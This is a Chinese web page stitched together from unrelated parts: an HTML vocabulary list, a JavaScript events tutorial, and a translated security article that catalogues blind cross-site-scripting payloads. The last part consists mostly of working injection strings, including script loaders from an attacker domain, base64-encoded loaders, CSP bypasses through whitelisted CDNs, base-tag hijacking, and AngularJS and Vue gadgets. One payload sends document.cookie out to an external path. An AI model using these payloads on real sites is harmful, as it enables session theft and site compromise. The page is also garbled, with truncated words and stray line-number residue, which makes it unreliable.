整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

Html常用单词

Html常用单词

ay01

  • form:表单
  • action:行动(提交的路径)
  • method:方法(提交的方式)
  • input:输入
  • type:类型
  • text:文本(文本输入项)
  • password:密码
  • radio:单选按钮
  • checkbox:复选框
  • file:文件(文件上传项)
  • hidden:隐藏字段
  • reset:重置(重置按钮)
  • button:按钮(普通按钮)
  • name:名称(元素名称)
  • value:值(输入项的内容)
  • size:大小(可以是文字字体的大小,也可以是输入框的宽度)
  • checked:被选中
  • readonly:只读
  • disabled:不可用的
  • maxlength:最大长度(输入框可以输入的最大长度)
  • select:选择(下拉列表项)
  • option:条目(下拉列表项)
  • textarea:区域(文本输入域)
  • submit:提交(提交按钮)
  • selected:选择(下拉列表被选中)

day02

  • style:样式
  • color:颜色
  • font-size:字体大小
  • pink:粉红色
  • gold:金黄色
  • gray:灰色
  • blue:蓝色
  • red:红色
  • yellow:黄色
  • black:黑色
  • white:白色
  • background-color:背景颜色

day03

  • border:边框
  • width:宽度
  • height:高度
  • margin:外边距
  • padding:内边距
  • float:浮动
  • clear:清除
  • none:无(元素不浮动)
  • left:左边
  • right:右边
  • both:都(同时)
  • display:显示方式
  • block:显示的(显示为块级元素)
  • inline:在一行(显示为内联元素)
  • div:块级元素的区域
  • span:内联元素的区域
  • element:元素
  • top:顶部
  • bottom:底部
  • product:产品,商品
  • header:头部信息
  • menu:菜单
  • show:显示
  • father:父亲
  • big:大的
  • small:小的

day04

  • document:文档
  • check:检查
  • change:改变
  • init:初始化
  • history:历史
  • alert:警告框
  • confirm:确认框
  • prompt:输入框
  • function:功能(函数)
  • click:点击
  • back:返回
  • tips:提示
  • info:信息
  • onfocus:聚焦
  • onblur:离焦
  • location:位置
  • screen:屏幕
  • navigator:导航(浏览器相关信息)

day05

  • onmouseover:鼠标移入
  • onmouseout:鼠标移出
  • attribute:属性
  • node:节点
  • document:文档
  • element:元素
  • textNode:文本节点
  • append:追加

avaScript与HTML交互是通过在用户或浏览器操纵页面上发生的事件进行处理。

当页面加载,这是一个事件。当用户点击一个按钮,这一下,也就是一个事件。事件的另一个例子是类似按下任意键,关闭窗口,调整窗口等。

开发者可以使用这些事件执行JavaScript编码响应,这引起按钮以关闭视窗,消息,以便显示给用户,要验证的数据,以及几乎任何其它类型的响应可以发生的。

事件是文档对象模型(DOM)第3级,每一个HTML元素的一部分有一套可以触发JavaScript代码事件。

onclick事件类型:

这是当用户点击鼠标左键时发生的最频繁使用的事件类型。可以针对此事件类型把验证信息,警告等显示。

例子:

<html>
<head>
<script type="text/javascript">
<!--
function sayHello() {
   alert("Hello World")
}
//-->
</script>
</head>
<body>
<input type="button" onclick="sayHello()" value="Say Hello" />
</body>
</html>
123456789101112131415复制代码类型:[javascript]

这将产生以下结果,当你点击“Hello”按钮,然后会的onclick事件的发生将触发sayHello()函数。

onsubmit 事件类型:

另一个最重要的事件类型是 onsubmit。当尝试提交表单时引发此事件。所以,可以把表单验证针对此事件类型。

下面是简单的例子,说明它的用法。在这里,我们提交表单数据到Web服务器之前,调用一个validate()函数。如果表单将被提交的validate()函数返回true,否则不会提交数据。

例子:

<html>
<head>
<script type="text/javascript">
<!--
function validation() {
   all validation goes here
   .........
   return either true or false
}
//-->
</script>
</head>
<body>
<form method="POST" action="t.cgi" onsubmit="return validate()">
.......
<input type="submit" value="Submit" />
</form>
</body>
</html>

123456789101112131415161718192021复制代码类型:[javascript]

onmouseover 和 onmouseout:

这两个事件类型将帮助创建图片甚至用文字以及不错的效果。当把鼠标在任何元素,当从元素把鼠标移出发生onmouseout事件,移过时发生 onmouseover 事件。

例子:

下面的例子说明,分组反应如下:

<html>
<head>
<script type="text/javascript">
<!--
function over() {
   alert("Mouse Over");
}
function out() {
   alert("Mouse Out");
}
//-->
</script>
</head>
<body>
<div onmouseover="over()" onmouseout="out()">
<h2> This is inside the division </h2>
</div>
</body>
</html>

123456789101112131415161718192021复制代码类型:[javascript]

可以使用这两个事件类型改变不同的图像,也可以创建帮助你的用户。

HTML 4 标准事件

标准的HTML4事件列在这里,供大家参考。下面的脚本显示一个Javascript函数功能以对该事件执行。

Event

Value

描述

onchange

script

脚本运行时的元素改变

onsubmit

script

脚本时提交表单运行

onreset

script

脚本运行时的形式被重置

onselect

script

脚本当选择元素运行

onblur

script

脚本运行时的元素失去焦点

onfocus

script

脚本运行时的元素获得焦点

onkeydown

script

脚本的时候键被按下运行

onkeypress

script

脚本的时候键被按下并释放运行

onkeyup

script

脚本的时候键被释放运行

onclick

script

脚本运行时,用鼠标点击

ondblclick

script

脚本运行时,鼠标双击

onmousedown

script

脚本的时候按下鼠标按钮运行

onmousemove

script

脚本运行时鼠标指针移动

onmouseout

script

脚本运行时鼠标指针移出元素

onmouseover

script

脚本运行时鼠标指针掠过元素

onmouseup

script

脚本时释放鼠标按键运行


开课吧广场-人才学习交流平台

挖掘安全漏洞的时候,我们往往不能面面俱到,会错过某些系统功能,导致漏洞被遗漏。这在寻找Blind Cross-Site-scripting (bXSS)时更是如此。

去年我曾写过一篇关于AngularJS bXSS的文章,分享我是如何利用AngularJS去进行bXSS攻击。而在这篇文章中,我想分享更多可用来检测bXSS的各种payload,希望能有效挖掘出后端系统中未曾被发现的bXSS。除此之外,我还想以自动化的方式进行检测,因此所提出的payload既可以在Burp中使用,也可以在xsshunter或其他bXSS自动化扫描工具中使用。

验证bXSS

在大多数情况下,确认bXSS存在的最简单的方法就插入一张“图像”,等待其渲染,捕获注入点。当然,有时网站会针对img-src部署严格的内容安全策略(CSP),禁止从任意域加载图像。

<!-- Image for HTTP Interaction -->
"><img src='//domain/xss'>

而像Angular和AngularJS这样的框架,也肯定会清除不可信数据,虽然会保留和图像有关的HTML代码,但会移除event处理代码。这就有点像是HTML注入。此时基于img-src的攻击不太可能会生效,因为我们所控制的域不太可能通过白名单过滤。

下一种payload是更传统的引用外部javascript,利用第三方脚本来进行攻击,这种原始的方式有时也能生效:

<!-- External javascript -->
"><script src="//domain/xss.js"></script>

javascript URIS也可以用于React应用,任何输入都可以查入到href路径中:

// javascript URI
javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)');

另一种方法是在href标签中注入包括javascript URI在内的任意HTML。

<!-- javascript URI in a href -->
"><a href="javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>

现在,让我们看看浏览器中有哪些我们可以利用的部分,SVG、HTML5、event handlers和CSS。

而网站HTML5Sec.org也许能在这方面给你更明确的提示,它包含了大量的payload,可用来构建bXSS。

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - javascript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')"> 
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xm lns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

Matthew Byrant也为xsshunter编写了一些非常棒的payload,对于将某些恶意字符列入黑名单或使用jQuery的应用非常有效。

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getscript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload==onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload==autofocus>

到目前为止,我们已经有了图像、外部javascript、javascript URI、a href、event handlers、SVG、JQuery等多种payload形式,并且我前期也介绍过基于AngularJS的bXSS;你还可以从诸如html5sec、Ed’s bug bounty-cheatsheet等大量网站中获得足够多的payload。

CSP

很久以前,浏览器的开发团队就引入了一些安全性控制,并且越来越强大,越来越复杂。在某些情况下,即使存在注入,但由于存在CSP,payload也无法生效!即使只是图片,来源不明的也不会加载。

好消息是有各种各样的CSP绕过。Lukas and Michelle的文章中记录了绕过CSP的各种方法。

不同的站点的CSP往往不同(当然有些网站可能会使用通用的模式),你可以把你的目标网站放到csp-evaluator.withgoogle.com中进行查询,它会给你一些注入建议。


需要注意的是,CSP并不是用来防止用户数据泄露,只是用来定义应该加载和执行哪些域的资源。

让我们看看CSP在AngularJS是如何工作的:

<!-- Adapted from Gareth Heyes/sirdarkcat -->
<!DOCTYPE html>
<html lang="en">
<head>
 <meta http-equiv=content-security-policy content="object-src 'none';script-src 'nonce-secret';">
 <script nonce=secret src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
</head>
<body>
 <div ng-app ng-csp>
<textarea autofocus
 ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH?exfil='+$event.view.encodeURI(d.domain+';'+d.cookie)"></textarea>
 </div>
</body>
</html>

可能会有部分敏感信息传输到你所控制的域中。


CDN

CSP中列入白名单的CDN地址是攻击者的主要利用目标之一,过去已有多起因白名单中的CDN被滥用而导致的CSP绕过的事件。因此,我们可以先收集CSP中的CDN名单,利用某些低版本框架(例如AngularJS的模板注入)实现bXSS注入。

"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></di v>

base-src

base标签也是我们可以利用的对象,它会把下面加载的所有脚本重定向到第三方网站!而且还包括有效的CSP nonce!

<!-- will change https://example.com/scripts/foo.js to https://domain/scripts/foo.js -->
"><base href="//domain">
<script nonce='secret' src='./scripts/foo.js'></script>

你需要做的就是配置好你的服务器,让特定通配符对应相应payload。



object-src

CSP的一个常见问题就是当object-src未被定义时,可以利用embed,object或applet进行绕过,当然,由于浏览器安全性的改进,这些标签利用都变得很困难。

<!-- object-src is relaxed or missing adapted from https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22 -->
"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain="})))}catch (e) { d=document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>
"><object data='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch (e) { d=document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>

script-src

如果CSP策略对于script-src允许HTTPS、*、data等,则很容易绕过:

<!-- data scheme or wildcard in script-src -->
"><script src=data:text/javascript;base64,ZD1kb2N1bWVudDsgXyA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7Xy5pZD0nMTknO18ubm9uY2U9ZC5xdWVyeVNlbGVjdG9yKCdbbm9uY2VdJykubm9uY2U7Xy5zcmM9Jy8vbG9jYWxob3N0L20nO2QuYm9keS5hcHBlbmRDaGlsZChfKSA=></script>
<!-- https:// in script-src -->
"><script src='https://domain'></script>

script Gadgets

谷歌团队在2017年发布了关于script Gadgets的研究,其中介绍了绕过CSP的新方法。简单来说,就是script Gadgetst是合法的javascript代码,但可以用来实现HTML注入。这意味着像AngularJS、Vue、Aurelia等库/框架,都可用来进行bXSS攻击。script Gadgets由于其合法性,可被用来绕过CSP、XSS过滤器和WAF等。

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

payload列表可以通过谷歌团队的研究进一步扩展,其中涉及各种库和框架的多种利用方式。

适用多种场景的payload

考虑到注入代码可能出现在多种不同的场景下,我们需要使用可适用多种场景的payload。Mathias Karlsson的一篇文章详细介绍了如何创建多场景的payload,这可能是发现隐藏的bXSS的关键。

// Gareth Heyes - https://twitter.com/garethheyes

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>

// clrf - http://polyglot.innerht.ml/

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://nosec.org/home/detail/2801.html

原文:https://ardern.io/2019/06/20/payload-bxss/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。